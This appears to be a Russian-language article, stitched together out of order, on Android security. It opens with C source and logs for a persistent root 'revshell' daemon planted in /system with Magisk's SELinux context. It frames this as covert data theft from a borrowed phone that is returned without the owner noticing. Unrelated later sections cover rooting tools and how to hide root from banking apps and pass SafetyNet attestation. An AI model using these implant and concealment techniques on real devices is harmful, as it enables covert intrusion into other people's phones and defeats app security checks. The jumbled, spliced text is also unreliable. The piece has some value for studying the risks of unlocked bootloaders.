#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>
#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"#include "revshell.hpp"
bool check_fs_decrypted() { bool result = false; struct dirent *entry; DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR); if (dir == NULL) { return result; } while ((entry = readdir(dir)) != NULL) { if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) { result = true; } } closedir(dir); return result;
}
int run_in_main_proc() { LOGD("Start successfull!\n"); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGQUIT, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGKILL, SIG_IGN); LOGD("Signals are set to ignore\n"); int timer_counter = 0; int timer_step = 5; LOGD("Hey I'm a revshell process!\n"); LOGD("My PID -- %d\n", getpid()); LOGD("My parent PID -- %d\n", getppid()); LOGD("My UID -- %d\n", getuid()); LOGD("Awaiting encrypted FS decryption now..."); while (true) { sleep(timer_step); timer_counter = (timer_counter + timer_step) % INT_MAX; if (check_fs_decrypted()) { LOGD("FS has been decrypted!"); break; } } LOGD("Starting reverse shell now"); while (true) { sleep(timer_step); timer_counter = (timer_counter + timer_step) % INT_MAX; LOGD("tick ! %d seconds since process started", timer_counter); } LOGD("Exit!\n"); return 0;
}
int main(int argc, char *argv[]) { return run_in_main_proc();
}Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.
Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc
Перезагружаем устройство и начинаем слушать логи:
$ adb logcat | grep revshellКогда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:
01-31 23:42:07.587 3589 3589 D revshell: Start successfull!
01-31 23:42:07.588 3589 3589 D revshell: Signals are set to ignore
01-31 23:42:07.588 3589 3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588 3589 3589 D revshell: My PID -- 3589
01-31 23:42:07.588 3589 3589 D revshell: My parent PID -- 1
01-31 23:42:07.588 3589 3589 D revshell: My UID -- 0
01-31 23:42:07.588 3589 3589 D revshell: Awaiting encrypted FS decryption now...Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!
Вводим код разблокировки и видим в логах:
01-31 23:42:27.597 3589 3589 D revshell: FS has been decrypted!
01-31 23:42:27.597 3589 3589 D revshell: Starting reverse shell now
01-31 23:42:32.597 3589 3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598 3589 3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599 3589 3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600 3589 3589 D revshell: tick ! 40 seconds since process startedПосмотрим, через adb запущенные процессы и увидим там наш демон:
$ adb shell
$ ps -Zef | grep revshell
u:r:magisk:s0 root 3589 1 0 23:42:06 ? 00:00:00 revshell
u:r:shell:s0 shell 5546 5495 1 23:48:21 pts/0 00:00:00 grep revshellОн запущен процессом init, как системный сервис, убить его без root-прав мы не можем:
$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permittedА убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:
$ su
# kill -9 3589
# ps -Zef | grep revshell
u:r:magisk:s0 root 5592 1 0 23:51:34 ? 00:00:00 revshell
u:r:magisk:s0 root 5601 5573 5 23:52:08 pts/1 00:00:00 grep revshellОтлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.
Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.
Виды Root прав
Cуществует несколько видов Root прав:
- Full Root — постоянные права, снимающие установленные ограничения. Обновлять операционную систему не рекомендуется.
- Shell Root – аналог Full Root, но без доступа к папке system.
- Temporary Root – временный Root доступ. После перезагрузки устройства он пропадает.
Способы получения root
Раньше, когда деревья были высокими а слоны мохнатыми, во времена Android ~4, существовали специальные утилиты как на само устройство так и на ПК, с помощью которых можно было получить root.
Если выражаться точнее, эти утилиты взламывали систему одним из множества способов и снисходительно делились с вами кусочком этого доступа.
Большая часть таких утилит была на китайском языке и тыкаться приходилось буквально вслепую. Вот самые яркие представители этого класса:
King Root (не путать с Kingo Root)
Преимущества такого способа получения очевидны — простота получения и относительно высокий шанс успеха. Однако такие недостатки как шпионаж, фоновая установка ПО и в целом непрозрачность схемы, как по мне, перекрывают это преимущество с лихвой. Тем более, что на последних версиях Android вероятность успеха получения прав с помощью этих утилит всё ниже. Не рекомендую данный способ к применению.
В определенный момент, как альтернатива этим утилитам, на арену рутирования выходит OpenSource-проект Magisk разработанный, несомненно, талантливым, программистом, под ником topjohnwu.
Главная особенность данного метода — возможность «внесистемного» внесения изменений с помощью подключаемых модулей. Это означает, что с выключением Magisk-модуля, отменялись изменения в системе, которые вносил этот модуль.
Работает это, на самом деле, проще чем можно подумать. В корне файловой системы создается «зеркало» раздела data (так и называется — data_mirror) и необходимые изменения вносятся в систему посредством создания символических ссылок на этот раздел.
Также, старые версии Magisk «из коробки» способны скрыть факт наличия root-прав от программ, которые не любят их (банковские приложения, например). Новые версии требуют установки дополнительных модулей.
Как получить Root права?
На форуме 4PDA описана масса универсальных способов и методов получения Root прав на устройствах под управлением Android. Большинство из них подразумевает использование специальных программ и компьютера. Среди таких программ хорошо известны Universal AndRoot, Unlock Root, z4root, Revolutionary и другие, обещающие получение желаемого в «два клика». К сожалению, не все из них способны на 100% помочь добиться желаемого, конкретно для вашего мобильного устройства. Более того, подобное программное обеспечение может определяться как вирусное, так как оно вносит изменения в ядро операционной системы Android. В данном случае антивирус отчасти прав — все эти программы являются вирусными эксплоитами, проникающими в ядро системы и при их скачивании или установке рекомендуется отключить защитное ПО.
Другой способ получения Root-прав заключается в установке на смартфон модифицированой прошивки. В этом случае всю работу за вас уже проделали специалисты, а вам только остается выбрать ту прошивку, которая подходит именно для вашего устройства. Кстати, там же вы найдете различные украшательства и дополнения для своей модели смартфона.
В телефонах с NAND lock сделать Root все же можно, но он будет неполнофункциональным (можно получить только Shell root или Temporary Root). Уточнить, имеет ли Ваш аппарат NAND lock, можно в ветке обсуждения Вашей модели в разделе Android — Устройства.
Настройка Magisk или как пройти SafetyNet
В новых версиях (24+) Magisk на смену Magisk Hide пришел новый метод сокрытия root — Zygisk. Его название состоит из слов Zygote — материнского низкоуровнего процесса Android, с помощью которого происходит работа Magisk и собственно названия приложения.
По умолчанию этот режим отключен в настройках Magisk, но я рекомендую включить его при первой же возможности.
Сразу после этого необходимо установить два модуля из Github-репозиториев — Universal SafetyNet Fix и Shamico. Первый нужен для прохождения CTS-аттестации (сертификация устройства SafetyNet), а второй для корректной работы функции скрытия root и DenyList magisk. Установка модулей интуитивно понятна и не должна вызвать вопросов.
Не уходя далеко после установки модулей переходим в раздел «Настройка DenyList», не активируя пункт «Активировать DenyList».
В этом меню мы увидим список установленных приложений. Скрытие root по умолчанию применено к сервисам Google, отдельно включать не надо! В большинстве случаев достаточно проставить галочки рядом с приложениями, от которых вы хотите скрыть рут, но бывают случаи, когда это не работает (например, некоторые банковские приложения). Тогда я советую нажать на плашку с названием приложения. Откроется весь список компонентов, от которых скрывается рут и проставить переключатель возле каждого из них. Приложений, которые обходили бы этот метод я еще не видел.
Для закрепления рекомендую использовать функцию «Скрыть приложение Magisk», поскольку его наличие можно вычислить элементарно по списку установленных приложений (так, например, работает MirPay). MagiskManager пересоберется со случайным именем пакета и предложит себя установить.
Если есть возможность, можно ограничить конкретным приложениям доступ к списку приложений с помощью Xposed-модулей вроде Thanox или XPrivacy Lua и тогда скрывать Magisk Manager не обязательно.
После проделанных действий необходимо как можно скорее перезагрузить телефон. Загрузка может быть слегка дольше, чем обычно.
Без должной настройки сервисы Google вскоре заметят чужака в системе и забракуют устройство по CTS.
Скрытие root для приложения необходимо делать до первого запуска целевого приложения! Мне попадались довольно злопамятные программы, которые раз увидев root, сохраняли мой id на сервере, приходилось либо перешивать устройство, либо подсовывать им фейковый Android ID.
Постановка задачи
Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.
Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.
Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.
Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться.
Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает.
Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.
Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.
Как проверить, что права root получены?
- Возможно (но не обязательно) появление в списке программ приложения под названием Superuser или SuperSU
- При запуске программ, требующих привилегий root, будет всплывать соответствующий запрос
- Программы, которые ранее не работали, ссылаясь на недостаток прав, теперь полностью функциональны
- В эмуляторе терминала при вводе команды su появляется приглашение в виде решетки: #
- Этот способ проверки зависит от метода получения root-прав (например, при использовании Universal Androot этот способ проверки неприемлем). В эмуляторе терминала наберите команду «/system/bin/id»[Enter]. Если в ответ вы получите «uid=0(root) gid=0(root)», то вы добились желаемого.
Мой набор Magisk-модулей
Busybox — дает доступ приложениям к встроенному busybox от Magisk
No Storage Restricts — убирает ограничения в выборе папок в файловом менеджере
LuckyPatcher — его модуль нужен для переноса приложений в системный раздел
Move Certificates — перенос пользовательских сертификатов в систему
NFC Screen Off — работа NFC при выключенном экране
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Получали ли вы Root на своем устройстве?
Нет и не планирую
Нет, но хочу попробовать
Да, но сейчас не имею
Да, пользуюсь root-правами
Проголосовали 127 пользователей.
Воздержались 9 пользователей.






